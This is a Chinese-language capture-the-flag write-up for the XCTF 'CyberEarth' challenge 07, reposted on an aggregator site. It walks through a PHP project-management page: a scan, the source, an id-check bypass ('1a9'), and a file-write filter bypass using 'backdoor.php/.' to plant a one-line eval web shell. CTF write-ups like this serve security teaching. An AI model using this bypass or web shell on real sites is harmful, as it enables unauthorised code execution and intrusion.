XCTF 4th-CyberEarthics-07
Posted chalan630
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XCTF 4th-CyberEarthics-07相关的知识,希望对你有一定的参考价值。
信息:
题目来源:XCTF 4th-CyberEarth
题目描述:工控云管理系统项目管理页面解析漏洞
解题过程
进入网站后,首先进行目录扫描:
[TIME] => 2020-07-08 15:34:39.931717
[TARGET] => http://220.249.52.133:54884/
[NUMBER_OF_THRED] => 10
[KEY_WORDS] => [‘flag‘, ‘ctf‘, ‘admin‘]
[302] => index.php
[200] => flag.php
[200] => config.php
[200] => /config.php
[200] => index.html
得到以上文件信息,发现名为项目管理中心的页面:
发现网页源代码(第一部分):
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != ‘index.php‘) {
include(‘flag.php‘);
}else {
header(‘Location: ?page=flag.php‘);
}
?>
本部分代码无需特殊处理。
第二部分:
<?php
if ($_SESSION[‘admin‘]) {
$con = $_POST[‘con‘];
$file = $_POST[‘file‘];
$filename = "backup/".$file;
if(preg_match(‘/.+.ph(p[3457]?|t|tml)$/i‘, $filename)){
die("Bad file extension");
}else{
chdir(‘uploaded‘);
$f = fopen($filename, ‘w‘);
fwrite($f, $con);
fclose($f);
}
}
?>
这部分代码首先需要满足$_SESSION[‘admin‘] == True
才行。
当满足上述条件时,可以使用post
上传文件,要求文件后缀名不能为:php、php3、php4、php5、php7、pht、phtml。
第三部分:
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== ‘1‘ && substr($_GET[id], -1) === ‘9‘) {
include ‘config.php‘;
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id=‘$id‘";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION[‘admin‘] = True;
}
?>
这部分代码需要满足:
- 存在id ≠ (int)1
- id的最后一位 = 9
满足这两个条件时:$_SESSION[‘admin‘] = True;
构造payload:http://ip/index.php?page=flag.php&id=1a9
这时,可以使用post方式上传文件,file为文件名,con为文件内容。
正则的话是判断.
之后的字符,因此我们可以利用/.
的方式绕过,这个方式的意思是在文件名目录下在加个空目录,相当于没加,因此达到绕过正则的目的。
file=backdoor.php/.&con=<?php @eval($_POST[‘123‘]);?>
使用菜刀类工具连接,得到flag
。
以上是关于XCTF 4th-CyberEarthics-07的主要内容,如果未能解决你的问题,请参考以下文章